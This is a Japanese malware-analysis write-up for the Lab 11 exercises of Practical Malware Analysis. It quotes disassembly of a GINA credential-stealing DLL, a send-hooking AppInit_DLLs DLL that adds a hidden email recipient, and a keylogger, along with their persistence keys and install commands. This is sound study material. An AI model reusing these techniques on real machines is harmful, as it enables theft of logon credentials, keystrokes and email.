PracticalMalwareAnalysis-Labs11 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab11のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 11-1

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab11-01.exe32ビット EXEA9C55BB87A7C5C3C923C4FA12940E719

1. What does the malware drop to disk?

リソースセクションから32ビット DLL (MD5ハッシュ値:7CE4F799946F0FA44E5B2B5E6A702F27) を抽出してmsgina32.dllとしてカレント・ディレクトリに保存する。

.text:004010B8 A1 30 80 40 00          mov     eax, lpType
.text:004010BD 50                      push    eax             ; lpType
.text:004010BE 8B 0D 34 80 40 00       mov     ecx, lpName
.text:004010C4 51                      push    ecx             ; lpName
.text:004010C5 8B 55 08                mov     edx, [ebp+hModule]
.text:004010C8 52                      push    edx             ; hModule
.text:004010C9 FF 15 28 70 40 00       call    ds:FindResourceA
.text:004010CF 89 45 EC                mov     [ebp+hResInfo], eax
.text:004010D2 83 7D EC 00             cmp     [ebp+hResInfo], 0
.text:004010D6 75 07                   jnz     short loc_4010DF
---

.text:004010DF                         loc_4010DF:
.text:004010DF 8B 45 EC                mov     eax, [ebp+hResInfo]
.text:004010E2 50                      push    eax             ; hResInfo
.text:004010E3 8B 4D 08                mov     ecx, [ebp+hModule]
.text:004010E6 51                      push    ecx             ; hModule
.text:004010E7 FF 15 14 70 40 00       call    ds:LoadResource
.text:004010ED 89 45 E8                mov     [ebp+hResData], eax
.text:004010F0 83 7D E8 00             cmp     [ebp+hResData], 0
.text:004010F4 75 05                   jnz     short loc_4010FB
---
.text:004010FB                         loc_4010FB:
.text:004010FB 8B 55 E8                mov     edx, [ebp+hResData]
.text:004010FE 52                      push    edx             ; hResData
.text:004010FF FF 15 10 70 40 00       call    ds:LockResource
.text:00401105 89 45 F8                mov     [ebp+lpBuffer], eax
.text:00401108 83 7D F8 00             cmp     [ebp+lpBuffer], 0
.text:0040110C 75 05                   jnz     short loc_401113

2. How does the malware achieve persistence?

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLLというレジストリキーを作成してmsgina32.dllを永続化させる。(ユーザーがログインするとwinlogon.exeによってmsgina32.dllがロードされる)

.text:00401000 55                      push    ebp
.text:00401001 8B EC                   mov     ebp, esp
.text:00401003 51                      push    ecx
.text:00401004 6A 00                   push    0               ; lpdwDisposition
.text:00401006 8D 45 FC                lea     eax, [ebp+phkResult]
.text:00401009 50                      push    eax             ; phkResult
.text:0040100A 6A 00                   push    0               ; lpSecurityAttributes
.text:0040100C 68 3F 00 0F 00          push    0F003Fh         ; samDesired
.text:00401011 6A 00                   push    0               ; dwOptions
.text:00401013 6A 00                   push    0               ; lpClass
.text:00401015 6A 00                   push    0               ; Reserved
.text:00401017 68 54 80 40 00          push    offset SubKey   ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"...
.text:0040101C 68 02 00 00 80          push    80000002h       ; hKey
.text:00401021 FF 15 04 70 40 00       call    ds:RegCreateKeyExA
.text:00401027 85 C0                   test    eax, eax
.text:00401029 74 07                   jz      short loc_401032
---
.text:00401032                         loc_401032:
.text:00401032 8B 4D 0C                mov     ecx, [ebp+cbData]
.text:00401035 51                      push    ecx             ; cbData
.text:00401036 8B 55 08                mov     edx, [ebp+lpData]
.text:00401039 52                      push    edx             ; lpData
.text:0040103A 6A 01                   push    1               ; dwType
.text:0040103C 6A 00                   push    0               ; Reserved
.text:0040103E 68 4C 80 40 00          push    offset ValueName ; "GinaDLL"
.text:00401043 8B 45 FC                mov     eax, [ebp+phkResult]
.text:00401046 50                      push    eax             ; hKey
.text:00401047 FF 15 00 70 40 00       call    ds:RegSetValueExA
.text:0040104D 85 C0                   test    eax, eax
.text:0040104F 74 11                   jz      short loc_401062

自分の解析環境では永続化のレジストリキーはHKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLLに作成された。

3. How does the malware steal user credential?

Windows XP、Windows 2000、Windows Server 2003 にはGraphical Identification and Authentication (GINA) という仕様が存在する。GINAはサードパーティによるログオン・プロセスのカスタマイズを可能にするための仕様で、msgina.dllというDLLに実装されている。レジストリキーHKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLLに悪意のあるDLL msgina32.dllを登録することにより、ユーザーがログインした際にwinlogon.exeによってmsgina32.dllがロードされ、ユーザーの認証情報を窃取することができる。認証情報の窃取が完了すると、msgina32.dllはmsgina.dllに処理を渡す。

4. What does the malware do with stolen credentials?

このマルウェアは窃取したユーザーの認証情報をファイル msutil32.sys に書き込む。以下はmsgina32.dllの該当のコード。
ファイル msutil32.sysを追記モードで開いて、窃取したユーザーの認証情報を書き込む。

.text:100014EF 8B 4E 0C                mov     ecx, [esi+0Ch]
.text:100014F2 8B 56 08                mov     edx, [esi+8]
.text:100014F5 51                      push    ecx
.text:100014F6 8B 4E 04                mov     ecx, [esi+4]
.text:100014F9 52                      push    edx
.text:100014FA 51                      push    ecx
.text:100014FB 50                      push    eax             ; Args
.text:100014FC 68 58 32 00 10          push    offset aUnSDmSPwSOldS ; "UN %s DM %s PW %s OLD %s"
.text:10001501 6A 00                   push    0               ; dwMessageId
.text:10001503 E8 68 00 00 00          call    WriteTo_msutil32_sys_10001570
.text:10001570 8B 4C 24 08             mov     ecx, [esp+Format]
.text:10001574 81 EC 54 08 00 00       sub     esp, 854h
.text:1000157A 8D 84 24 60 08 00 00    lea     eax, [esp+854h+Args]
.text:10001581 8D 54 24 54             lea     edx, [esp+854h+Dest]
.text:10001585 56                      push    esi
.text:10001586 50                      push    eax             ; Args
.text:10001587 51                      push    ecx             ; Format
.text:10001588 68 00 08 00 00          push    800h            ; Count
.text:1000158D 52                      push    edx             ; Dest
.text:1000158E E8 F1 00 00 00          call    _vsnwprintf
.text:10001593 68 20 33 00 10          push    offset Mode     ; Mode appending
.text:10001598 68 F8 32 00 10          push    offset Filename ; "msutil32.sys"
.text:1000159D E8 DC 00 00 00          call    _wfopen
.text:100015A2 8B F0                   mov     esi, eax
.text:100015A4 83 C4 18                add     esp, 18h
.text:100015A7 85 F6                   test    esi, esi
.text:100015A9 0F 84 A0 00 00 00       jz      loc_1000164F
---
.text:100015AF 8D 44 24 58             lea     eax, [esp+858h+Dest]
.text:100015B3 57                      push    edi
.text:100015B4 8D 4C 24 0C             lea     ecx, [esp+85Ch+Buffer]
.text:100015B8 50                      push    eax
.text:100015B9 51                      push    ecx             ; Buffer
.text:100015BA E8 B9 00 00 00          call    _wstrtime
.text:100015BF 83 C4 04                add     esp, 4
.text:100015C2 8D 54 24 38             lea     edx, [esp+860h+var_828]
.text:100015C6 50                      push    eax
.text:100015C7 52                      push    edx             ; Buffer
.text:100015C8 E8 A5 00 00 00          call    _wstrdate
.text:100015CD 83 C4 04                add     esp, 4
.text:100015D0 50                      push    eax
.text:100015D1 68 E0 32 00 10          push    offset Format   ; "%s %s - %s "
.text:100015D6 56                      push    esi             ; File
.text:100015D7 E8 90 00 00 00          call    fwprintf
.text:100015DC 8B BC 24 74 08 00 00    mov     edi, [esp+870h+dwMessageId]
.text:100015E3 83 C4 14                add     esp, 14h
.text:100015E6 85 FF                   test    edi, edi
.text:100015E8 74 4D                   jz      short loc_10001637

5. How can you use this malware to get user credentials from your test environment?

Windows XP、Windows 2000、Windows Server 2003 ならばGINAが実装されているので、マルウェアのインストール後にシステムに再ログインすれば悪意のあるDLL msgina32.dll がロードされて認証情報がmsutil32.sysに書き込まれる。自分の解析環境はWindows 7のためGINAが実装されておらず、従ってマルウェアのインストール後にシステムに再ログインしてもmsgina32.dllはロードされない。

Lab 11-2

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab11-02.dll32ビット DLLBE4F4B9E88F2E1B1C38E0A0858EB3DD9

1. What are the exports for this DLL malware?

installer という名前のエクスポート関数が確認できる。ざっと関数を眺めてみたところ、レジストリキー HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLsspoolvxx32.dll というファイルを登録する模様。

.text:1000158B 55                      push    ebp
.text:1000158C 8B EC                   mov     ebp, esp
.text:1000158E 83 EC 08                sub     esp, 8
.text:10001591 8D 45 F8                lea     eax, [ebp+phkResult]
.text:10001594 50                      push    eax             ; phkResult
.text:10001595 6A 06                   push    6               ; samDesired
.text:10001597 6A 00                   push    0               ; ulOptions
.text:10001599 68 D8 30 00 10          push    offset SubKey   ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"...
.text:1000159E 68 02 00 00 80          push    80000002h       ; hKey
.text:100015A3 FF 15 04 20 00 10       call    ds:RegOpenKeyExA
.text:100015A9 85 C0                   test    eax, eax
.text:100015AB 75 30                   jnz     short loc_100015DD
---
.text:100015AD 68 10 31 00 10          push    offset aSpoolvxx32Dll ; "spoolvxx32.dll"
.text:100015B2 E8 51 01 00 00          call    strlen
.text:100015B7 83 C4 04                add     esp, 4
.text:100015BA 50                      push    eax             ; cbData
.text:100015BB 68 20 31 00 10          push    offset Data     ; "spoolvxx32.dll"
.text:100015C0 6A 01                   push    1               ; dwType
.text:100015C2 6A 00                   push    0               ; Reserved
.text:100015C4 68 30 31 00 10          push    offset ValueName ; "AppInit_DLLs"
.text:100015C9 8B 4D F8                mov     ecx, [ebp+phkResult]
.text:100015CC 51                      push    ecx             ; hKey "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs"
.text:100015CD FF 15 00 20 00 10       call    ds:RegSetValueExA
.text:100015D3 8B 55 F8                mov     edx, [ebp+phkResult]
.text:100015D6 52                      push    edx             ; hKey
.text:100015D7 FF 15 08 20 00 10       call    ds:RegCloseKey

レジストリキーの作成後、Lab11-02.dllは自身のコピーファイル spoolvxx32.dllをC:\Windows\System32に作成する。

.text:100015DD                         loc_100015DD:
.text:100015DD E8 79 FA FF FF          call    GetSystemDirectoryA_1000105B
.text:100015E2 89 45 FC                mov     [ebp+Dest], eax
.text:100015E5 68 04 01 00 00          push    104h            ; Count
.text:100015EA 68 40 31 00 10          push    offset aSpoolvxx32Dll_1 ; "\\spoolvxx32.dll"
.text:100015EF 8B 45 FC                mov     eax, [ebp+Dest]
.text:100015F2 50                      push    eax             ; Dest
.text:100015F3 E8 3A 01 00 00          call    strncat
.text:100015F8 83 C4 0C                add     esp, 0Ch
.text:100015FB 6A 00                   push    0               ; bFailIfExists
.text:100015FD 8B 4D FC                mov     ecx, [ebp+Dest]
.text:10001600 51                      push    ecx             ; lpNewFileName
.text:10001601 68 80 33 00 10          push    offset ExistingFileName ; lpExistingFileName
.text:10001606 FF 15 38 20 00 10       call    ds:CopyFileA

2. What happens after you attempt to install this malware using rundll32.exe?

rundll32.exe Lab11-02.dll, installer というコマンドでインストールを試みたところ、C:\Windows\SysWOW64 にspoolvxx32.dllというファイルが作成され、レジストリキー HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLsspoolvxx32.dll が登録された。spoolvxx32.dllLab11-02.dllのコピーである。

3. Where must Lab11-02.ini reside in order for the malware to install properly?

以下のコードによるとLab11-02.dllはC:\Windows\System32にLab11-02.iniが存在するか確認し、存在する場合はLab11-02.iniを読み込む。よってマルウェアが正しくインストールされるにはLab11-02.iniがC:\Windows\System32に存在していなければならない。(ただし、自分の解析環境は64ビットのシステムなので、Lab11-02.iniはC:\Windows\SysWOW64に存在していないといけない。)

.text:10001644 68 A0 34 00 10          push    offset byte_100034A0 ; Dst
.text:10001649 E8 EA 00 00 00          call    memset
.text:1000164E 83 C4 0C                add     esp, 0Ch
.text:10001651 E8 05 FA FF FF          call    GetSystemDirectoryA_1000105B
.text:10001656 89 45 FC                mov     [ebp+Dest], eax
.text:10001659 68 04 01 00 00          push    104h            ; Count
.text:1000165E 68 50 31 00 10          push    offset aLab1102Ini ; "\\Lab11-02.ini"
.text:10001663 8B 55 FC                mov     edx, [ebp+Dest]
.text:10001666 52                      push    edx             ; Dest C:\Windows\System32\
.text:10001667 E8 C6 00 00 00          call    strncat
.text:1000166C 83 C4 0C                add     esp, 0Ch
.text:1000166F 6A 00                   push    0               ; hTemplateFile
.text:10001671 68 80 00 00 00          push    80h             ; dwFlagsAndAttributes
.text:10001676 6A 03                   push    3               ; dwCreationDisposition OPEN_EXISTING
.text:10001678 6A 00                   push    0               ; lpSecurityAttributes
.text:1000167A 6A 01                   push    1               ; dwShareMode
.text:1000167C 68 00 00 00 80          push    80000000h       ; dwDesiredAccess
.text:10001681 8B 45 FC                mov     eax, [ebp+Dest]
.text:10001684 50                      push    eax             ; lpFileName C:\Windows\System32\Lab11-02.ini
.text:10001685 FF 15 40 20 00 10       call    ds:CreateFileA
.text:1000168B 89 45 F8                mov     [ebp+hFile], eax
.text:1000168E 83 7D F8 FF             cmp     [ebp+hFile], 0FFFFFFFFh
.text:10001692 74 4A                   jz      short loc_100016DE
---
.text:10001694 C7 45 F4 00 00 00 00    mov     [ebp+NumberOfBytesRead], 0
.text:1000169B 6A 00                   push    0               ; lpOverlapped
.text:1000169D 8D 4D F4                lea     ecx, [ebp+NumberOfBytesRead]
.text:100016A0 51                      push    ecx             ; lpNumberOfBytesRead
.text:100016A1 68 00 01 00 00          push    100h            ; nNumberOfBytesToRead
.text:100016A6 68 A0 34 00 10          push    offset byte_100034A0 ; lpBuffer
.text:100016AB 8B 55 F8                mov     edx, [ebp+hFile]
.text:100016AE 52                      push    edx             ; hFile
.text:100016AF FF 15 3C 20 00 10       call    ds:ReadFile
.text:100016B5 83 7D F4 00             cmp     [ebp+NumberOfBytesRead], 0
.text:100016B9 76 17                   jbe     short loc_100016D2

4. How is this malware installed for persistence?

Lab11-02.dllは自身のコピーファイルであるspoolvxx32.dllをレジストリキー HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLsに登録する。AppInit_DLLsに登録されたDLLはUser32.dllをロードするあらゆるプロセスにロードされることになり、結果、マルウェアが永続化する。

5. What user-space rootkit technique does this malware employ?

インライン・フックを駆使してwsock32.dllよりsend関数をフックする。

.text:100012CF 8B 55 0C                mov     edx, [ebp+lpProcName]
.text:100012D2 52                      push    edx             ; lpProcName "send"
.text:100012D3 8B 45 FC                mov     eax, [ebp+hModule]
.text:100012D6 50                      push    eax             ; hModule "wsock32.dll"
.text:100012D7 FF 15 48 20 00 10       call    ds:GetProcAddress
.text:100012DD 89 45 F8                mov     [ebp+lpAddress], eax
.text:100012E0 83 7D F8 00             cmp     [ebp+lpAddress], 0
.text:100012E4 74 14                   jz      short loc_100012FA
---
.text:100012E6 8B 4D 14                mov     ecx, [ebp+arg_C]
.text:100012E9 51                      push    ecx             ; int
.text:100012EA 8B 55 10                mov     edx, [ebp+arg_8]
.text:100012ED 52                      push    edx             ; int
.text:100012EE 8B 45 F8                mov     eax, [ebp+lpAddress]
.text:100012F1 50                      push    eax             ; lpAddress "send"
.text:100012F2 E8 0C FF FF FF          call    Hook_10001203
.text:100012F7 83 C4 0C                add     esp, 0Ch

6. What does the hooking code do?

wsock32.dllよりsend関数をフックしてEメール通信 (SMTP通信)を監視する。Eメール通信を検知した場合、billy@malwareanalysisbook.comという宛先アドレス (RCPT TOヘッダー)を追加する。

.text:1000113D 55                      push    ebp
.text:1000113E 8B EC                   mov     ebp, esp
.text:10001140 81 EC 04 02 00 00       sub     esp, 204h
.text:10001146 68 10 30 00 10          push    offset SubStr   ; "RCPT TO:"
.text:1000114B 8B 45 0C                mov     eax, [ebp+Str]
.text:1000114E 50                      push    eax             ; Str
.text:1000114F E8 CC 05 00 00          call    strstr          ; search for the string "RCPT TO:"
.text:10001154 83 C4 08                add     esp, 8
.text:10001157 85 C0                   test    eax, eax
.text:10001159 0F 84 85 00 00 00       jz      loc_100011E4
---
.text:1000115F 68 1C 30 00 10          push    offset Str      ; "RCPT TO: <"
.text:10001164 E8 9F 05 00 00          call    strlen
.text:10001169 83 C4 04                add     esp, 4
.text:1000116C 50                      push    eax             ; Size
.text:1000116D 68 28 30 00 10          push    offset aRcptTo_1 ; "RCPT TO: <"
.text:10001172 8D 8D FC FD FF FF       lea     ecx, [ebp+Dst]
.text:10001178 51                      push    ecx             ; Dst
.text:10001179 E8 9C 05 00 00          call    memcpy
.text:1000117E 83 C4 0C                add     esp, 0Ch
.text:10001181 68 01 01 00 00          push    257             ; Size
.text:10001186 68 A0 34 00 10          push    offset byte_100034A0 ; Src "billy@malwareanalysisbook.com"
.text:1000118B 68 34 30 00 10          push    offset aRcptTo_2 ; "RCPT TO: <"
.text:10001190 E8 73 05 00 00          call    strlen
.text:10001195 83 C4 04                add     esp, 4
.text:10001198 8D 94 05 FC FD FF FF    lea     edx, [ebp+eax+Dst]
.text:1000119F 52                      push    edx             ; Dst
.text:100011A0 E8 75 05 00 00          call    memcpy
.text:100011A5 83 C4 0C                add     esp, 0Ch
.text:100011A8 68 40 30 00 10          push    offset Source   ; ">\r\n"
.text:100011AD 8D 85 FC FD FF FF       lea     eax, [ebp+Dst]
.text:100011B3 50                      push    eax             ; Dest
.text:100011B4 E8 5B 05 00 00          call    strcat          ; "RCPT TO: <billy@malwareanalysisbook.com>\r\n"
.text:100011B9 83 C4 08                add     esp, 8
.text:100011BC 8B 4D 14                mov     ecx, [ebp+arg_C]
.text:100011BF 51                      push    ecx
.text:100011C0 8D 95 FC FD FF FF       lea     edx, [ebp+Dst]
.text:100011C6 52                      push    edx             ; Str
.text:100011C7 E8 3C 05 00 00          call    strlen
.text:100011CC 83 C4 04                add     esp, 4
.text:100011CF 50                      push    eax
.text:100011D0 8D 85 FC FD FF FF       lea     eax, [ebp+Dst]
.text:100011D6 50                      push    eax
.text:100011D7 8B 4D 08                mov     ecx, [ebp+arg_0]
.text:100011DA 51                      push    ecx
.text:100011DB FF 15 84 34 00 10       call    send_10003484

7. Which process(es) does this malware attack and why?

このマルウェアはカレント・プロセスがEメール・クライアントだった場合、プロセスをサスペンド状態にし、wsock32.dllよりsend関数をフックしてEメール通信 (SMTP通信)を監視する。Eメール通信を検知した場合、billy@malwareanalysisbook.comという宛先アドレス (RCPT TOヘッダー)を追加する。その後、サスペンド状態のプロセスを再開する。標的プロセスはTHEBAT.EXE (The Bat! email client)、OUTLOOK.EXE (Microsoft Outlook)、MSIMN.EXE (Outlook Express) の3種類。

.text:100014EC 8B 55 FC                mov     edx, [ebp+Buf1]
.text:100014EF 52                      push    edx
.text:100014F0 E8 38 FB FF FF          call    sub_1000102D
.text:100014F5 83 C4 04                add     esp, 4
.text:100014F8 68 7C 30 00 10          push    offset aThebatExe ; "THEBAT.EXE"
.text:100014FD E8 06 02 00 00          call    strlen          ; The Bat! email client
.text:10001502 83 C4 04                add     esp, 4
.text:10001505 50                      push    eax             ; Size
.text:10001506 68 88 30 00 10          push    offset aThebatExe_0 ; "THEBAT.EXE"
.text:1000150B 8B 45 FC                mov     eax, [ebp+Buf1]
.text:1000150E 50                      push    eax             ; Buf1
.text:1000150F E8 18 02 00 00          call    memcmp          ; Check if current process is THEBAT.EXE
.text:10001514 83 C4 0C                add     esp, 0Ch
.text:10001517 85 C0                   test    eax, eax
.text:10001519 74 46                   jz      short loc_10001561
---
.text:1000151B 68 94 30 00 10          push    offset aOutlookExe ; "OUTLOOK.EXE"
.text:10001520 E8 E3 01 00 00          call    strlen          ; Microsoft Outlook
.text:10001525 83 C4 04                add     esp, 4
.text:10001528 50                      push    eax             ; Size
.text:10001529 68 A0 30 00 10          push    offset aOutlookExe_0 ; "OUTLOOK.EXE"
.text:1000152E 8B 4D FC                mov     ecx, [ebp+Buf1]
.text:10001531 51                      push    ecx             ; Buf1
.text:10001532 E8 F5 01 00 00          call    memcmp          ; Check if current process is OUTLOOK.EXE
.text:10001537 83 C4 0C                add     esp, 0Ch
.text:1000153A 85 C0                   test    eax, eax
.text:1000153C 74 23                   jz      short loc_10001561
---
.text:1000153E 68 AC 30 00 10          push    offset aMsimnExe ; "MSIMN.EXE"
.text:10001543 E8 C0 01 00 00          call    strlen          ; Outlook Express
.text:10001548 83 C4 04                add     esp, 4
.text:1000154B 50                      push    eax             ; Size
.text:1000154C 68 B8 30 00 10          push    offset aMsimnExe_0 ; "MSIMN.EXE"
.text:10001551 8B 55 FC                mov     edx, [ebp+Buf1]
.text:10001554 52                      push    edx             ; Buf1
.text:10001555 E8 D2 01 00 00          call    memcmp          ; Check if current process is MSIMN.EXE
.text:1000155A 83 C4 0C                add     esp, 0Ch
.text:1000155D 85 C0                   test    eax, eax
.text:1000155F 75 26                   jnz     short loc_10001587
.text:10001561 E8 57 FE FF FF          call    Suspend_CurrentProcessThread_100013BD
.text:10001566 68 84 34 00 10          push    offset send_10003484 ; int
.text:1000156B 68 3D 11 00 10          push    offset Set_RCPT_billy_malwareanalysisbook_com_1000113D ; int
.text:10001570 68 C4 30 00 10          push    offset send     ; "send"
.text:10001575 68 CC 30 00 10          push    offset wsock32_dll ; "wsock32.dll"
.text:1000157A E8 24 FD FF FF          call    Hook_Send_100012A3
.text:1000157F 83 C4 10                add     esp, 10h
.text:10001582 E8 12 FF FF FF          call    Resume_CurrentProcessThread_10001499

8. What is the significance of the .ini file?

Lab11-02.iniは暗号化が施されている。

.text:10001694 C7 45 F4 00 00 00 00    mov     [ebp+NumberOfBytesRead], 0
.text:1000169B 6A 00                   push    0               ; lpOverlapped
.text:1000169D 8D 4D F4                lea     ecx, [ebp+NumberOfBytesRead]
.text:100016A0 51                      push    ecx             ; lpNumberOfBytesRead
.text:100016A1 68 00 01 00 00          push    100h            ; nNumberOfBytesToRead
.text:100016A6 68 A0 34 00 10          push    offset byte_100034A0 ; lpBuffer
.text:100016AB 8B 55 F8                mov     edx, [ebp+hFile]
.text:100016AE 52                      push    edx             ; hFile C:\Windows\System32\Lab11-02.ini
.text:100016AF FF 15 3C 20 00 10       call    ds:ReadFile
.text:100016B5 83 7D F4 00             cmp     [ebp+NumberOfBytesRead], 0
.text:100016B9 76 17                   jbe     short loc_100016D2
---
.text:100016BB 8B 45 F4                mov     eax, [ebp+NumberOfBytesRead]
.text:100016BE C6 80 A0 34 00 10 00    mov     byte_100034A0[eax], 0
.text:100016C5 68 A0 34 00 10          push    offset byte_100034A0
.text:100016CA E8 E4 F9 FF FF          call    XOR_decrypt_100010B3
.text:100016CF 83 C4 04                add     esp, 4

0x100016CAにブレークポイントをセットしてデバッグしたところ、Lab11-02.iniからbilly@malwareanalysisbook.comというメールアドレスが復号された。

9. How can you dynamically capture this malware's activity with Wireshark?

Lab11-02.iniをC:\Windows\System32 (またはC:\Windows\SysWOW64)に配置して、rundll32.exe Lab11-02.dll, installerLab11-02.dllをインストールした後にTHEBAT.EXE (The Bat! email client)、OUTLOOK.EXE (Microsoft Outlook)、MSIMN.EXE (Outlook Express)のいずれかのメール・クライアントを起動するとLab11-02.dllのコピーファイルのspoolvxx32.dllがメール・クライアントのプロセスにロードされる。DLLがロードされるとメール・クライアントのプロセスをサスペンド状態にし、wsock32.dllよりsend関数をフックしてEメール通信 (SMTP通信)を監視する。Eメール通信を検知した場合、billy@malwareanalysisbook.comという宛先アドレス (RCPT TOヘッダー)を追加する。その後、サスペンド状態のプロセスを再開する。

よってマルウェアのインストール後にWiresharkを立ち上げて、THEBAT.EXE (The Bat! email client)、OUTLOOK.EXE (Microsoft Outlook)、MSIMN.EXE (Outlook Express)のいずれかのメール・クライアントでメールを作成して送信すると、billy@malwareanalysisbook.com宛の通信をキャプチャできる。

Lab 11-3

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab11-03.exe32ビット EXE18EC5BECFA3991FB654E105BAFBD5A4B
Lab11-03.dll32ビット DLLBBD65FCAD68E5A3CD1457E2EE05D1F2E

1. What interesting analysis leads can you discover using basic static analysis?

Lab11-03.dll

zzz69806582というエクスポート関数が確認できた。このエクスポート関数はCreateThreadを呼び出して悪意のあるコードを実行する。

.text:10001540                         public zzz69806582
.text:10001540                         zzz69806582 proc near
.text:10001540
.text:10001540                         var_4= dword ptr -4
.text:10001540
.text:10001540 55                      push    ebp
.text:10001541 8B EC                   mov     ebp, esp
.text:10001543 51                      push    ecx
.text:10001544 6A 00                   push    0               ; lpThreadId
.text:10001546 6A 00                   push    0               ; dwCreationFlags
.text:10001548 6A 00                   push    0               ; lpParameter
.text:1000154A 68 10 14 00 10          push    offset StartAddress ; lpStartAddress pointer to malicious function
.text:1000154F 6A 00                   push    0               ; dwStackSize
.text:10001551 6A 00                   push    0               ; lpThreadAttributes
.text:10001553 FF 15 1C 70 00 10       call    ds:CreateThread ; start malicious thread

また、Lab11-03.dllはGetAsyncKeyStateをインポートしている。キー・ロギングと思しきコードを発見した。

.text:10001127                         loc_10001127:           ; vKey VK_SHIFT
.text:10001127 6A 10                   push    10h
.text:10001129 FF 15 F8 70 00 10       call    ds:GetAsyncKeyState
.text:1000112F 0F BF C8                movsx   ecx, ax
.text:10001132 81 E1 00 80 00 00       and     ecx, 8000h
.text:10001138 85 C9                   test    ecx, ecx
.text:1000113A 75 44                   jnz     short loc_10001180
---
.text:10001151 68 A0 00 00 00          push    0A0h            ; vKey VK_LSHIFT
.text:10001156 FF 15 F8 70 00 10       call    ds:GetAsyncKeyState
.text:1000115C 0F BF C0                movsx   eax, ax
.text:1000115F 25 00 80 00 00          and     eax, 8000h
.text:10001164 85 C0                   test    eax, eax
.text:10001166 75 18                   jnz     short loc_10001180

打鍵されたキーはC:\WINDOWS\System32\kernel64x.dllに記録されると思われる。

.text:100014BD                         loc_100014BD:           ; hTemplateFile
.text:100014BD 6A 00                   push    0
.text:100014BF 68 80 00 00 00          push    80h             ; dwFlagsAndAttributes
.text:100014C4 6A 04                   push    4               ; dwCreationDisposition OPEN_ALWAYS
.text:100014C6 6A 00                   push    0               ; lpSecurityAttributes
.text:100014C8 6A 01                   push    1               ; dwShareMode
.text:100014CA 68 00 00 00 C0          push    0C0000000h      ; dwDesiredAccess
.text:100014CF 68 4C 80 00 10          push    offset FileName ; "C:\\WINDOWS\\System32\\kernel64x.dll"
.text:100014D4 FF 15 10 70 00 10       call    ds:CreateFileA
.text:100014DA 89 85 EC F7 FF FF       mov     [ebp+hFile], eax
.text:100014E0 83 BD EC F7 FF FF 00    cmp     [ebp+hFile], 0
.text:100014E7 75 02                   jnz     short loc_100014EB
---
.text:100014EB                         loc_100014EB:           ; dwMoveMethod
.text:100014EB 6A 02                   push    2
.text:100014ED 6A 00                   push    0               ; lpDistanceToMoveHigh
.text:100014EF 6A 00                   push    0               ; lDistanceToMove
.text:100014F1 8B 85 EC F7 FF FF       mov     eax, [ebp+hFile]
.text:100014F7 50                      push    eax             ; hFile
.text:100014F8 FF 15 0C 70 00 10       call    ds:SetFilePointer
.text:100014FE 8B 8D EC F7 FF FF       mov     ecx, [ebp+hFile]
.text:10001504 89 4D FC                mov     [ebp+var_4], ecx
.text:10001507 8D 95 F0 F7 FF FF       lea     edx, [ebp+var_810]
.text:1000150D 52                      push    edx
.text:1000150E E8 6D FE FF FF          call    Write_keylog_To_File_10001380

Lab11-03.dllMZという名前のミューテックスを用いて排他制御を行う。(MZというミューテックスの有無を確認して常に1つのマルウェア・プロセスのみが実行されるようにする)

.text:10001475 68 70 80 00 10          push    offset Name     ; "MZ"
.text:1000147A 6A 00                   push    0               ; bInheritHandle
.text:1000147C 68 01 00 1F 00          push    1F0001h         ; dwDesiredAccess
.text:10001481 FF 15 18 70 00 10       call    ds:OpenMutexA
.text:10001487 89 85 E8 F7 FF FF       mov     [ebp+hObject], eax
.text:1000148D 83 BD E8 F7 FF FF 00    cmp     [ebp+hObject], 0
.text:10001494 74 07                   jz      short loc_1000149D

Lab11-03.exe

Lab11-03.dllC:\WINDOWS\System32\inet_epar32.dllにコピーする。

.text:004012D0 55                      push    ebp
.text:004012D1 8B EC                   mov     ebp, esp
.text:004012D3 81 EC 04 01 00 00       sub     esp, 104h
.text:004012D9 6A 00                   push    0               ; bFailIfExists
.text:004012DB 68 B8 91 40 00          push    offset NewFileName ; "C:\\WINDOWS\\System32\\inet_epar32.dll"
.text:004012E0 68 A8 91 40 00          push    offset ExistingFileName ; "Lab11-03.dll"
.text:004012E5 FF 15 1C 80 40 00       call    ds:CopyFileA

C:\WINDOWS\System32\cisvc.exeというファイルを作成・アクセスした後、cisvcという名前のWindowsサービスを開始する。

.text:004012EB 68 9C 91 40 00          push    offset aCisvcExe ; "cisvc.exe"
.text:004012F0 68 84 91 40 00          push    offset aCWindowsSystem_0 ; "C:\\WINDOWS\\System32\\%s"
.text:004012F5 8D 85 FC FE FF FF       lea     eax, [ebp+FileName]
.text:004012FB 50                      push    eax
.text:004012FC E8 51 01 00 00          call    strcat_401452
.text:00401301 83 C4 0C                add     esp, 0Ch
.text:00401304 8D 8D FC FE FF FF       lea     ecx, [ebp+FileName]
.text:0040130A 51                      push    ecx             ; lpFileName C:\\WINDOWS\\System32\\cisvc.exe
.text:0040130B E8 60 FD FF FF          call    ModifyFile_401070
.text:00401310 83 C4 04                add     esp, 4
.text:00401313 68 74 91 40 00          push    offset aNetStartCisvc ; "net start cisvc"
.text:00401318 E8 9F 00 00 00          call    Spawn_cmdshell_4013BC

2. What happens when you run this malware?

Lab11-03.exeを実行したところ、inet_epar32.dllcisvc.exeがC:\Windows\SysWOW64に作成された。

inet_epar32.dllLab11-03.dllのコピーだった。

cisvc.exeは空ファイルだった。

cisvcというWindowsサービスのインストールは確認されなかった。

続いてrundll32.exe Lab11-03.dll, zzz69806582Lab11-03.dllを実行したが、特に目立った挙動は見受けられなかった。メモ帳を開いて適当なキーを叩いてみたが、kernel64x.dllというファイルは作成されなかった。

